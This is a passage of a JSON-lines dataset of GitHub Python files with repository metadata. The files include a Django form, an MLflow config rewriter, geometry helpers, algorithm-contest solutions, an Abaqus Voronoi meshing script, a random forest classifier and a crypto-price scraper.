new_format(hours_in_parts[0],hours_in_parts[1],hours_in_parts[2])\n second_part = new_format(hours_in_parts[3],hours_in_parts[4],hours_in_parts[5])\n return f\"{first_part} to {second_part}\"\n else:\n raise ValueError\n\ndef new_format(hrs,mins,am_pm):\n if am_pm == \"PM\":\n if int(hrs) == 12:\n new_hrs = 12\n else: \n new_hrs = int(hrs) + 12\n else:\n if int(hrs) == 12:\n new_hrs = \"00\"\n else:\n new_hrs = int(hrs)\n\n if mins == None:\n new_mins = \"00\"\n new_time_format = f\"{new_hrs:02}:{new_mins:02}\"\n else:\n new_time_format = f\"{new_hrs:02}:{mins:02}\"\n \n return new_time_format\n\nif __name__ == \"__main__\":\n main()","repo_name":"Bernullys/curso_cs50_python","sub_path":"lecture7/working.py","file_name":"working.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"20556860339","text":"\nfrom django import forms\nfrom django.utils.translation import gettext as _\n\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Layout, Submit, Div\n\nfrom settings import constants\nfrom settings.models import SettingProperties\n\n\nclass RegenerateCertificatesForm(forms.Form):\n email = forms.CharField(widget=forms.TextInput(), required=False)\n old_email = forms.CharField(widget=forms.HiddenInput(), required=False)\n\n def __init__(self, *args, **kwargs):\n super(RegenerateCertificatesForm, self).__init__(*args, **kwargs)\n self.helper = FormHelper()\n self.helper.form_class = 'form-horizontal'\n self.helper.label_class = 'col-lg-2'\n self.helper.field_class = 'col-lg-4'\n if SettingProperties.get_bool(\n constants.OPPIA_EMAIL_CERTIFICATES, False):\n self.helper.layout = Layout(\n 'email',\n 'old_email',\n Div(\n Submit('submit',\n _(u'Regenerate Certificates'),\n css_class='btn btn-default'),\n css_class='col-lg-offset-2 col-lg-4'\n ),\n )\n else:\n self.helper.layout = Layout(\n Div(\n Submit('submit',\n _(u'Regenerate Certificates'),\n css_class='btn btn-default'),\n css_class='col-lg-offset-2 col-lg-4',\n ))\n","repo_name":"DigitalCampus/django-oppia","sub_path":"profile/forms/certificates.py","file_name":"certificates.py","file_ext":"py","file_size_in_byte":1498,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"53"} +{"seq_id":"33532172070","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n@author: zgz\r\n\r\n修改dl3中mlflow的结果,从而能传到dl2上使用\r\n\"\"\"\r\n\r\nimport os\r\nimport yaml\r\n\r\n\r\ndef getFileNames(path):\r\n # 列出某个目录下的文件和文件夹,可以是绝对和相对目录\r\n file_names = []\r\n for home, dirs, files in os.walk(path):\r\n for file in files:\r\n if file == 'meta.yaml':\r\n file_names.append(os.path.join(home, file))\r\n return file_names\r\n\r\n\r\ndef configReset(path):\r\n with open(path, 'r') as f:\r\n data = yaml.load(f, Loader=yaml.FullLoader)\r\n\r\n data['artifact_uri'] = '/data4/zhangguozhen/churn_prediction/exp_logs/mlflow/7/' + str(data['run_id']) + '/artifacts'\r\n data['experiment_id'] = '7'\r\n\r\n with open(path, 'w') as f:\r\n yaml.dump(data, f)\r\n\r\n\r\nif __name__ == '__main__':\r\n file_path = r'C:/Users/111/Desktop/disentangle/data/0'\r\n config_path = getFileNames(file_path)\r\n for path in config_path:\r\n configReset(path)\r\n","repo_name":"tsinghua-fib-lab/CFChurn","sub_path":"src/tools/mlflow_config_transfer.py","file_name":"mlflow_config_transfer.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"53"} +{"seq_id":"17067564389","text":"\"\"\"\nall math related helpers.\n\"\"\"\nfrom math import sqrt, floor, ceil\nfrom jimn.utils.precision import is_almost\nfrom jimn.point import Point\n\n\n# pylint: disable=invalid-name\ndef solve_quadratic_equation(a, b, c):\n \"\"\" solves a*x*x + b*y +c = 0\n careful : we do some rounding here:\n when delta is close from 0 we round it towards 0\n do not use if you do not understand what it does\"\"\"\n delta = b * b - 4 * a * c\n if is_almost(sqrt(abs(delta)), 0):\n if is_almost(a, 0):\n return []\n return [-b/(2*a)]\n else:\n if delta < 0:\n return []\n else:\n return [(-b-sqrt(delta))/(2*a), (-b+sqrt(delta))/(2*a)]\n\n\ndef circles_intersections(c1, c2, r1, r2):\n \"\"\"\n intersect two circles with given centers and radiuses.\n return points array.\n \"\"\"\n d = c1.distance_to(c2)\n if is_almost(d, 0):\n return [] # common center\n x1, y1, x2, y2 = [c for p in (c1, c2) for c in p.coordinates]\n if is_almost(r1, r2):\n l = d/2\n else:\n l = (r1 * r1 - r2 * r2) / (2 * d) + d/2\n\n if is_almost(r1, l):\n # only one intersection\n i = Point([\n l/d * (x2 - x1) + x1,\n l/d * (y2 - y1) + y1\n ])\n return [i]\n else:\n if r1 < l:\n return [] # too far away\n\n if abs(r1) < abs(l):\n return []\n else:\n h = sqrt(r1 * r1 - l * l)\n points = [\n Point([\n l/d * (x2 - x1) + h/d * (y2 - y1) + x1,\n l/d * (y2 - y1) - h/d * (x2 - x1) + y1\n ]),\n Point([\n l/d * (x2 - x1) - h/d * (y2 - y1) + x1,\n l/d * (y2 - y1) + h/d * (x2 - x1) + y1\n ])\n ]\n return points\n\n\ndef vline_circle_intersections(x, center, radius):\n \"\"\"\n intersection of circle with vertical line at given x.\n \"\"\"\n distance = abs(x - center.get_x())\n if is_almost(radius, distance):\n return [Point([x, center.get_y()])]\n squared_distance = distance * distance\n squared_radius = radius * radius\n if squared_distance > squared_radius:\n return []\n y = sqrt(squared_radius - squared_distance)\n return [Point([x, center.get_y() + y]), Point([x, center.get_y() - y])]\n\n\ndef line_circle_intersections(points, center, radius):\n \"\"\"\n intersection of line going through points with given circle.\n \"\"\"\n # take first point as origin\n d = points[1] - points[0]\n c = center - points[0]\n xd, yd = d.coordinates\n xc, yc = c.coordinates\n # segment points are at alpha * d\n # distance(alpha * d, center) = r\n\n # (xc-alpha*xd)**2 + (yc-alpha*yd)**2 - r**2 = 0\n\n # xc**2 + alpha**2*xd**2 -2*alpha*xc*xd\n # yc**2 + alpha**2*yd**2 -2*alpha*yc*yd\n # - r**2 = 0\n a = xd**2 + yd**2\n b = -2*(xc*xd + yc*yd)\n c = xc**2 + yc**2 - radius**2\n\n solutions = solve_quadratic_equation(a, b, c)\n return [points[0] + d * s for s in solutions]\n\n\ndef milling_heights(y1, y2, milling_diameter, inclusive=False):\n \"\"\"\n iterate in order on all y between y1 and y2 on milling heights\n if inclusive possibly includes y1 and y2.\n \"\"\"\n if y1 < y2:\n index = ceil(y1/milling_diameter)\n step = 1\n else:\n index = floor(y1/milling_diameter)\n step = -1\n\n y = index * milling_diameter\n if not inclusive:\n if y == y1:\n index += step\n y = index * milling_diameter\n\n while step*y < step*y2:\n yield y\n index += step\n y = index * milling_diameter\n\n if inclusive:\n if y == y2:\n yield y\n\n\ndef is_slice_height(y, milling_diameter):\n \"\"\"\n is given coordinate on a slice height ?\n \"\"\"\n d = milling_diameter\n return is_almost(y/d, round(y/d))\n\n\ndef compute_arc_centers(radius, points):\n \"\"\"\n return list of possible centers for an arc of given radius going\n through given points.\n \"\"\"\n # take points[0] as origin\n point2 = points[1] - points[0]\n # find bisector\n middle = point2/2\n bisector_point = middle + point2.perpendicular_vector()\n # intersect with circle at origin\n intersections = line_circle_intersections(\n [middle, bisector_point],\n Point([0, 0]),\n radius\n )\n assert len(intersections) == 2, \"invalid arc\"\n centers = [points[0] + i for i in intersections]\n return centers\n","repo_name":"wagnerf42/Jimn","sub_path":"src/jimn/utils/math.py","file_name":"math.py","file_ext":"py","file_size_in_byte":4441,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"19293539386","text":"import os\n\np_dir = input(\"Entre com o diretório: \")\nif os.path.isdir(p_dir):\n somador = 0\n lista = os.listdir(p_dir)\n for i in lista:\n p = os.path.join(p_dir, i)\n if os.path.isfile(p):\n somador = somador + os.stat(p).st_size\n print(\"Tamanho: \", somador/1000,\"KB\")\nelse:\n print(f\"O diretório {p_dir} não existe.\")","repo_name":"LC-ardovino/INFNET","sub_path":"Projeto_de_Bloco/Etapa 4/exercicio6.py","file_name":"exercicio6.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"23684092933","text":"\"\"\"\nAuthor: Aditya Chincholi\nPurpose: To debug and unittest the spectral statistics functions\n\"\"\"\nimport numpy as np\nimport scipy.stats as stats\nimport kickedrotor.spectral_statistics as spectra\n\ndef test_phases():\n phases = np.linspace(-np.pi*0.85, np.pi*0.5, 100)\n phases.sort()\n M = np.diag(np.exp(1j * phases))\n U = stats.unitary_group.rvs(100)\n Mp = U.dot(M.dot(U.conjugate().T))\n observed_phases, eigs, num_dicarded \\\n = spectra.getPhaseSpectrum(Mp, tol=1e-3, discard=True)\n np.testing.assert_allclose(observed_phases, phases)\n\ndef test_spacings():\n x = np.arange(100)\n y = np.arange(0, 200, 2)\n spacings, ratios = spectra.getSpacingRatios(x + 1j*y)\n np.testing.assert_allclose(spacings, 1)\n\n x = np.cumsum(np.arange(0, 100))\n expected_spacings = np.arange(1, 100) / np.mean(np.arange(1, 100))\n expected_ratios = np.arange(2, 100) / np.arange(1, 99)\n spacings, ratios = spectra.getSpacingRatios(x)\n np.testing.assert_allclose(spacings, expected_spacings)\n np.testing.assert_allclose(ratios, expected_ratios)\n","repo_name":"adch99/QuantumKickedRotor","sub_path":"Code/tests/test_spectra.py","file_name":"test_spectra.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"16156399519","text":"import tkinter\n\nwin = tkinter.Tk()\nwin.title(\"lxr\")\nwin.geometry(\"400x400+200+20\")\n\n\n'''\n输入控件\n用于显示简单的文本内容\n'''\n\n#绑定变量\ne = tkinter.Variable()\n\nentry = tkinter.Entry(win, textvariable=e)\n#在这之后就代表输入框的这个对象\n#设置值\ne.set(\"lxr is a good man\")\n#取值\nprint(e.get()) #或者print(entry.get())\n\nentry1 = tkinter.Entry(win, show =\"*\")#密文显示\nentry.pack()\nentry1.pack()\n\nwin.mainloop()","repo_name":"rainbow520lxr/PythonStudy","sub_path":"Python编程思想/2.模块库/Tkinter/4.Entry控件.py","file_name":"4.Entry控件.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"} +{"seq_id":"21683811522","text":"import requests\nfrom bs4 import BeautifulSoup\n\nreq = requests.get('https://www.bithumb.com/').text\n\nsoup = BeautifulSoup(req, 'html.parser')\ncoin_name_tags = soup.select('#tableAsset > tbody > tr > td:nth-child(1) > p > a > strong')\ncoin_price_tags = soup.select('#tableAsset > tbody > tr > td:nth-child(2) > strong')\n\nprint(coin_price_tags)\n\nfor i, item in enumerate(coin_name_tags):\n line = coin_name_tags[i].text.split()[0] + \"/\" + coin_price_tags[i].text + \"\\n\"\n print(line)\n\n with open(f'coin.txt', 'a', encoding='utf-8') as f:\n f.write(f'{line}')","repo_name":"gtj1323/DjangoStudy","sub_path":"menufactual_file/scraping_ex/bithumb2-2.py","file_name":"bithumb2-2.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"72291203689","text":"import torch\n\ndef index_points(points, idx):\n \"\"\"\n\n Input:\n points: input points data, [B, N, C]\n idx: sample index data, [B, S]\n Return:\n new_points:, indexed points data, [B, S, C]\n \"\"\"\n device = points.device\n B = points.shape[0]\n view_shape = list(idx.shape)\n view_shape[1:] = [1] * (len(view_shape) - 1)\n repeat_shape = list(idx.shape)\n repeat_shape[0] = 1\n batch_indices = torch.arange(B, dtype=torch.long).to(device).view(view_shape).repeat(repeat_shape)\n new_points = points[batch_indices, idx, :]\n return new_points\n","repo_name":"ziyangyeh/AML-G16","sub_path":"models/sub_models/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"73030015849","text":"import sys\ninput = sys.stdin.readline\n\nn = int(input())\narr = [list(map(int, input().split())) for _ in range(n)]\nab, cd = [], []\n\nfor i in range(n):\n for j in range(n):\n ab.append(arr[i][0] + arr[j][1])\n cd.append(arr[i][2] + arr[j][3])\n\nab.sort()\ncd.sort()\n\ni, j = 0, len(cd) - 1\nresult = 0\n\nwhile i < len(ab) and j >= 0:\n if ab[i] + cd[j] == 0:\n nexti, nextj = i + 1, j - 1\n # ab가 같은게 여러개인경우\n while nexti < len(ab) and ab[i] == ab[nexti]:\n nexti += 1\n # cd가 같은게 여러개인경우\n while nextj >= 0 and cd[j] == cd[nextj]:\n nextj -= 1\n\n result += (nexti - i) * (j - nextj)\n i, j = nexti, nextj\n\n elif ab[i] + cd[j] > 0:\n j -= 1\n else:\n i += 1\n\nprint(result)\n\nimport sys\ninput = sys.stdin.readline\n\nn = int(input())\na, b, c, d = [], [], [], []\nans = 0\n\nfor _ in range(n):\n tmp1, tmp2, tmp3, tmp4 = map(int, input().split())\n a.append(tmp1)\n b.append(tmp2)\n c.append(tmp3)\n d.append(tmp4)\n\nab = {}\n\nfor i in a:\n for j in b:\n if i+j not in ab:\n ab[i+j] = 1\n else:\n ab[i+j] += 1\n\nans = 0\n\nfor i in c:\n for j in d:\n if -(i+j) in ab:\n ans += ab[-(i+j)]\n\nprint(ans)\n\n###################################################\n\nimport sys\nfrom collections import defaultdict\ninput = sys.stdin.readline\n\nn = int(input())\na, b, c, d = [], [], [], []\nans = 0\n\nfor _ in range(n):\n tmp1, tmp2, tmp3, tmp4 = map(int, input().split())\n a.append(tmp1)\n b.append(tmp2)\n c.append(tmp3)\n d.append(tmp4)\n\nab = defaultdict(int)\n\nfor i in a:\n for j in b:\n ab[i+j] += 1\n\nans = 0\n\nfor i in c:\n for j in d:\n if -(i+j) in ab:\n ans += ab[-(i+j)]\n\nprint(ans)\n\n###################################### 시간초과\n\nimport sys\nfrom collections import defaultdict\ninput = sys.stdin.readline\n\nn = int(input())\na, b, c, d = [], [], [], []\nans = 0\n\nfor i in range(n):\n tmp1, tmp2, tmp3, tmp4 = map(int, input().split())\n a.append(tmp1)\n b.append(tmp2)\n c.append(tmp3)\n d.append(tmp4)\n\na_b_sum = defaultdict(int)\nc_d_sum = defaultdict(int)\n\nfor i in a:\n for j in b:\n a_b_sum[i+j] += 1\n\nfor i in c:\n for j in d:\n c_d_sum[i+j] += 1\n\nfor key in a_b_sum:\n if c_d_sum[-key] != 0:\n ans += (a_b_sum[key] * c_d_sum[-key])\n\nprint(ans)\n\n###################################### 시간초과\n\nimport sys\nfrom collections import defaultdict\ninput = sys.stdin.readline\n\nn = int(input())\narr = [list(map(int, input().split())) for _ in range(n)]\nab, cd = defaultdict(int), defaultdict(int)\n\nfor i in range(n):\n for j in range(n):\n ab[arr[i][0] + arr[j][1]] += 1\n cd[arr[i][2] + arr[j][3]] += 1\n\nab_key = sorted(ab.keys())\ncd_key = sorted(cd.keys())\n\nleft, right = 0, len(cd_key) - 1\nans = 0\n\nwhile left < len(ab_key) and right >= 0:\n if ab_key[left] + cd_key[right] == 0:\n ans += (ab[ab_key[left]] * cd[cd_key[right]])\n left += 1\n right -= 1\n elif ab_key[left] + cd_key[right] > 0:\n right -= 1\n else:\n left += 1\n\nprint(ans)\n","repo_name":"CHOSIYEON/Algorithms","sub_path":"BAEKJOON/Brute Force/7453.py","file_name":"7453.py","file_ext":"py","file_size_in_byte":3134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"41907043321","text":"# encoding=utf-8\r\nfrom abaqus import *\r\nfrom abaqusConstants import *\r\nfrom scipy.spatial import *\r\nimport numpy as np\r\nimport random\r\nimport mesh\r\nimport regionToolset\r\n\r\n\r\n#initial variables\r\nfields = (('Model Name:', 'Model-1'), ('Point Number:', '200'), ('Length:', '100'),\r\n ('Width:', '100'), ('Height:', '100'), ('Seed Size:', '2.5'))\r\nname, point_number, length, width, height, seedsize = getInputs(fields=fields, label='Creat Voronoi')\r\npoint_number = int(point_number)\r\nlength = float(length)\r\nwidth = float(width)\r\nseedsize = float(seedsize)\r\n\r\n\r\n#rve size\r\nsize = float(height)\r\n# extend size\r\nex = 5\r\n\r\n#create Voronoi\r\npoints = np.array([[random.uniform(0,length*ex),random.uniform(0,width*ex),random.uniform(0,size*ex)] for i in range(point_number)])\r\nvor = Voronoi(points)\r\n#get attributes\r\nvertices = vor.vertices\r\nedges = vor.ridge_vertices\r\n\r\nfor edge in edges:\r\n for number in edge:\r\n if number !=-1 :\r\n for coord in vertices[number]:\r\n if coord >= max(length, width, size) * ex or coord <= 0:\r\n edges[edges.index(edge)].append(-1)\r\n break\r\n\r\nface_points = []\r\nfor edge in np.array(edges):\r\n edge = np.array(edge)\r\n temp = []\r\n if np.all(edge >= 0):\r\n for i in edge:\r\n temp.append(tuple(vertices[i]))\r\n temp.append(vertices[edge[0]])\r\n if (len(temp)>0):\r\n face_points.append(temp)\r\n\r\n# create voronoi\r\nmyModel = mdb.models['Model-1']\r\nmyPart = myModel.Part(name='Part-vor3', dimensionality=THREE_D, type=DEFORMABLE_BODY)\r\n\r\nfor i in range(len(face_points)):\r\n wire = myPart.WirePolyLine(mergeType=SEPARATE, meshable=ON, points=(face_points[i]))\r\n face_edge = myPart.getFeatureEdges(name=wire.name)\r\n myPart.CoverEdges(edgeList = face_edge, tryAnalytical=True)\r\n\r\nfaces = myPart.faces[:]\r\nmyPart.AddCells(faceList = faces)\r\n\r\n# cut Voronoi\r\n#create core\r\nmyPart2 = myModel.Part(name='Part-core', dimensionality=THREE_D, type=DEFORMABLE_BODY)\r\nmySketch2 = myModel.ConstrainedSketch(name=\"mysketch-2\",sheetSize = 200)\r\nmySketch2.rectangle(point1=(0,0), point2=(length,width))\r\nmyPart2.BaseSolidExtrude(sketch=mySketch2, depth=size)\r\n\r\n#create base\r\nmyPart3 = myModel.Part(name='Part-base', dimensionality=THREE_D, type=DEFORMABLE_BODY)\r\nmySketch3 = myModel.ConstrainedSketch(name='__profile__', sheetSize=200.0)\r\nmySketch3.ConstructionLine(point1=(0.0, -100.0), point2=(0.0, 100.0))\r\ncurve = mySketch3.CircleByCenterPerimeter(center=(0.0, 0.0), point1=(size*10,0.0))\r\nmySketch3.Line(point1=(0.0, 10*size), point2=(0.0, -10*size))\r\nmySketch3.autoTrimCurve(curve1=curve, point1=(-size*10,0.0))\r\nmyPart3.BaseSolidRevolve(sketch=mySketch3, angle=360.0, flipRevolveDirection=OFF)\r\n\r\n# instance\r\nmyAssembly = myModel.rootAssembly\r\nmyAssembly.Instance(name='Part-base-1', part=myModel.parts[\"Part-base\"], dependent=ON)\r\nmyAssembly.Instance(name='Part-core-1', part=myModel.parts[\"Part-core\"], dependent=ON)\r\nmyAssembly.translate(instanceList=('Part-core-1', ), vector=((ex-1)*length/2,(ex-1)*width/2,(ex-1)*size/2))\r\nmyAssembly.InstanceFromBooleanCut(name='Part-base-cut',instanceToBeCut=myAssembly.instances['Part-base-1'],\r\n cuttingInstances=(myAssembly.instances['Part-core-1'], ), originalInstances=DELETE)\r\n# cut voronoi\r\nmyAssembly.Instance(name='Part-cut-1', part=myModel.parts[\"Part-base-cut\"], dependent=ON)\r\nmyAssembly.Instance(name='Part-vor3-1', part=myModel.parts[\"Part-vor3\"], dependent=ON)\r\nmyAssembly.InstanceFromBooleanCut(name='Part-voronoi',instanceToBeCut=myAssembly.instances['Part-vor3-1'],\r\n cuttingInstances=(myAssembly.instances['Part-cut-1'], ), originalInstances=DELETE)\r\n\r\n#create analys\r\nmyPart_analys = myModel.Part(name='Part-analys', dimensionality=THREE_D, type=DEFORMABLE_BODY)\r\nmySketch4 = myModel.ConstrainedSketch(name=\"mysketch-4\",sheetSize = 200)\r\nmySketch4.rectangle(point1=(0,0), point2=(length,width))\r\nmyPart_analys.BaseSolidExtrude(sketch=mySketch4, depth=size)\r\nmyPart_analys.seedPart(size=seedsize , deviationFactor=0.1, minSizeFactor=0.1)\r\nmyPart_analys.generateMesh()\r\n\r\nmyPart_vor3_cut = myModel.parts['Part-voronoi']\r\nmyCells = myPart_vor3_cut.cells\r\n\r\nmyNodes = myPart_analys.nodes\r\nmyElement = myPart_analys.elements\r\n\r\n# create cell_element\r\nelement_number = []\r\nfor i in range(len(myCells)):\r\n element_number.append([])\r\n\r\nfor element in myElement:\r\n points = []\r\n for index in element.connectivity:\r\n points.append(list(myNodes[index].coordinates))\r\n junzhi = np.array(points).mean(axis=0)\r\n center = junzhi.astype('float64')+np.array([(ex-1)*length/2,(ex-1)*width/2,(ex-1)*size/2]).astype('float64')#two different locations for two cubes\r\n index1 = myCells.findAt(center).index\r\n for i in range(len(myCells)):\r\n if index1 == i:\r\n element_number[i].append(element.label-1)\r\n\r\n# create cell_element set\r\nii=0\r\nfor set_element in element_number:\r\n #print(set_element[0])\r\n if len(set_element):\r\n ii+=1\r\n element = myElement[set_element[0]:set_element[0]+1]\r\n for i in range(1, len(set_element)):\r\n element += myElement[set_element[i]:set_element[i]+1]\r\n region = myPart_analys.Set(elements=element, name=\"Set-{}\".format(ii))\r\n\r\nfor key in myAssembly.instances.keys():\r\n del myAssembly.instances[key]\r\nfor key in myModel.parts.keys():\r\n if key != \"Part-analys\":\r\n if key != \"Part-voronoi\":\r\n del myModel.parts[key]\r\n\r\ns=myPart_analys.sets\r\nelements=myPart_analys.elements\r\nelementFaces=myPart_analys.elementFaces\r\n\r\n# 遍历set\r\nif len(s)!=0:\r\n set_ele_labels=[]\r\n for key in s.keys():\r\n temp=[]\r\n for set_ele in s['{}'.format(key)].elements:\r\n temp.append(set_ele.label)\r\n set_ele_labels.append(temp)\r\n\r\n #遍历每个单元每个面\r\n FacesLabel = [[], [], [], [], [], []]\r\n for elementFace in elementFaces:\r\n label1=[]\r\n two_element = elementFace.getElements()\r\n if len(two_element)==2:\r\n for i in range(len(two_element)):\r\n label1.append(two_element[i].label)\r\n x = 0\r\n for i in range(len(set_ele_labels)):\r\n if set(label1) < set(set_ele_labels[i]):#如果getElements得到的两个单元都在一个set里面\r\n break\r\n x += 1\r\n if x == len(set_ele_labels):#两个单元不在一起\r\n if elementFace.face == FACE1:\r\n FacesLabel[0].append(elementFace.label)\r\n elif elementFace.face == FACE2:\r\n FacesLabel[1].append(elementFace.label)\r\n elif elementFace.face == FACE3:\r\n FacesLabel[2].append(elementFace.label)\r\n elif elementFace.face == FACE4:\r\n FacesLabel[3].append(elementFace.label)\r\n elif elementFace.face == FACE5:\r\n FacesLabel[4].append(elementFace.label)\r\n else:\r\n FacesLabel[5].append(elementFace.label)\r\n\r\n #把单元面label转换为element\r\n faceElements = [[], [], [], [], [], []]\r\n for i in range(6):\r\n if len(FacesLabel[i]):\r\n for ii in range(len(FacesLabel[i])):\r\n faceElements[i].append(elements[FacesLabel[i][ii] - 1])\r\n faceElements[i] = mesh.MeshElementArray(elements=faceElements[i])\r\n\r\n myPart_analys.Surface(face1Elements=faceElements[0], face2Elements=faceElements[1],\r\n face3Elements=faceElements[2], face4Elements=faceElements[3],\r\n face5Elements=faceElements[4], face6Elements=faceElements[5], name='Surf-1')\r\n\r\n myPart_analys.PartFromMesh(name='Part-analys-mesh-1', copySets=True)","repo_name":"everydayhi/abaqus","sub_path":"3d_voronoi.py","file_name":"3d_voronoi.py","file_ext":"py","file_size_in_byte":7754,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"} +{"seq_id":"22325279682","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Dec 12 12:00:17 2020\n\nDescription: This script trains a random forests tree classifier using a specified csv\n file. In addition, the script will print out a report of the model.\n \n@author: Coronado\n@author: Bernard\n\"\"\"\n\nimport pandas as pd\nimport numpy as mp\n\nimport matplotlib.pyplot as plt\n\nfrom sklearn.model_selection import train_test_split\n\nfrom sklearn.metrics import classification_report, confusion_matrix\n\nfrom sklearn.ensemble import RandomForestClassifier\n\nfrom sklearn.metrics import accuracy_score\n\nimport datetime\n\n#get the current time to timestamp the classification results\nnow = datetime.datetime.now()\n\ndate_str = now.strftime(\"%Y-%m-%d %H:%M:%S\")\n\n###OTHER DATA SETS\n#filename = 'filtered_data_set.csv'\n#filename = \"pca_data_set.csv\"\n\nfilenames = [\"Hits_data_set.csv\", \"pca_Hits_data_set.csv\", \"2016-19_filtered_data_set.csv\", \"pca_2016-19_filtered_data_set.csv\"]\n\nfilename = filenames[2]\n\n\n##################### get and prepare the data #########################\n#get the data\ndata = pd.read_csv(filename)\n\n#name of the output\ny_name = data.columns[len(data.columns.values)-1]\n\n#get the inputs\n# inputs = data.drop('popularity', axis = 1)\ninputs = data.drop(y_name, axis = 1)\n\n\n#get the outputs\n#outputs = data['popularity']\noutputs = data[y_name]\n\n\n#split the data into training and testing data\nX_train, X_test, Y_train, Y_test = train_test_split(inputs, outputs, train_size = 0.7,\n shuffle = True)\n\n##################### learn the Random Forests model #########################\n\n#set values for parameters\nestimators = 100\ncrit = \"gini\" #criterion for splitting\n\nmaxleafnodes = None\nmaxdepth = None\n\n#create an instance of a random forest classifier given the parameters above\nrfc = RandomForestClassifier(n_estimators = estimators, \n max_depth = maxdepth, max_leaf_nodes = maxleafnodes,\n criterion = crit)\n\n#train the random forest model\nrfc.fit(X_train, Y_train)\n\n#predict the output given the test data\nrfc_predict = rfc.predict(X_test)\n\n#obtain the accuracy\naccuracy = accuracy_score(Y_test,rfc_predict)\n\n#obtain the classification report for the trained model given the test output\n#and the predicted values\nclass_report = classification_report(Y_test, rfc_predict)\n\n\n###################### output Random Forest report #########################\n\nprint(\"###################### Report #########################\")\n\nprint(confusion_matrix(Y_test,rfc_predict))\n\nprint('\\n')\n\nprint('Random Forests Classification Report with ' + str(estimators) + ' estimators\\n') \n\nprint('File name:\\t ' + filename)\nprint('Date:\\t'+date_str + '\\n')\nprint('Criterion:\\t'+crit + '\\n')\nprint('Max Depth: '+ str(maxdepth) + \n '\\t Max Leaf Nodes: ' + str(maxleafnodes) + '\\n') \n\nprint(class_report)\n\nprint('scikit accuracy score function: ' + str(round(accuracy*100, 1) ) + '%\\n\\n')\n\nprint('Value counts for hit(1) and non-hit songs (0)')\nprint(Y_test.value_counts())","repo_name":"FCrown/Spotify-Machine-Learning","sub_path":"src/randomForests.py","file_name":"randomForests.py","file_ext":"py","file_size_in_byte":3078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"4764663888","text":"import urllib.request as ul\nfrom bs4 import BeautifulSoup as soup\n\nurl = 'https://circuit.rocks/new'\nreq = ul.Request(url, headers={'User-Agent': 'Mozilla/5.0'})\nclient = ul.urlopen(req)\nhtmldata = client.read()\nclient.close()\n\npagesoup = soup(htmldata, \"html.parser\")\nitemlocator = pagesoup.findAll('div', {\"class\":\"product-grid-item xs-100 sm-50 md-33 lg-25 xl-20\"})\n\nfilename = \"new items.csv\"\nf = open(filename, \"w\", encoding=\"utf-8\")\nheaders = \"Item Name, Price\\n\"\nf.write(headers)\n\nfor items in itemlocator: \n namecontainer = items.findAll(\"h4\",{\"class\":\"name\"})\n names = namecontainer[0].text\n\n pricecontainer = items.findAll(\"p\",{\"class\":\"price\"})\n prices = pricecontainer[0].text.strip()\n\n print(\"Item Name: \"+ names)\n print(\"Price: \" + prices) \n\n f.write(names.replace(\",\",\" \") + \",\" + prices.replace(\",\", \" \") + \"\\n\")\nf.write(\"Total number of items: \" + \",\" + str(len(itemlocator)))\nf.close()","repo_name":"lightdarkmaster/Malwares","sub_path":"python_Scripts/getData.py","file_name":"getData.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"53"} +{"seq_id":"6384092309","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Aug 16 11:20:40 2021\n\n@author: paban\n\"\"\"\nimport sklearn as sk\nimport numpy as np\n\nclass peri_columna(sk.base.BaseEstimator, sk.base.TransformerMixin):\n \"Convierte el dataframe en un array de n filas y t columnas\"\n def __init__(self, poblacion = 'personas'):\n self.poblacion = poblacion\n def fit(self, x, y = None):\n return self\n def transform(self, x, y= None):\n if self.poblacion in x.columns:\n xx = x.unstack().to_numpy()\n pob = xx[:,-1]\n x = x.drop(self.poblacion, axis = 1)\n xx = np.c_[x.unstack().to_numpy(),pob]\n else:\n xx = x.unstack().to_numpy() \n return xx\n\nclass agrega_centroides(sk.base.BaseEstimator, sk.base.TransformerMixin):\n \"Agrega los centroides al dataframe\"\n def __init__(self, centroides):\n self.centroides = centroides\n \n def coordenadas(self, centroides):\n \"centroides debe ser un serie geopandas\"\n l = list(centroides.apply(lambda x: list(x.coords)[0]))\n lista = []\n for i in range(len(l)):\n ll = np.array(l[i])\n lista.append(ll)\n coord = np.array(lista)\n return coord\n def fit(self, x, y = None):\n return self\n def transform(self, x, y = None):\n coord = self.coordenadas(self.centroides)\n x = np.c_[x,coord]\n return x\n\n","repo_name":"pabanib/Covid2","sub_path":"procesos.py","file_name":"procesos.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"74397823207","text":"# @Time : 2018/6/22 17:55\n# @Author : cap\n# @FileName: myOpencvCorner.py\n# @Software: PyCharm Community Edition\n# @introduction: 棱角检测\n\nimport cv2 as cv\n\nimage = cv.imread('./data/box.png')\ncv.imshow('Original', 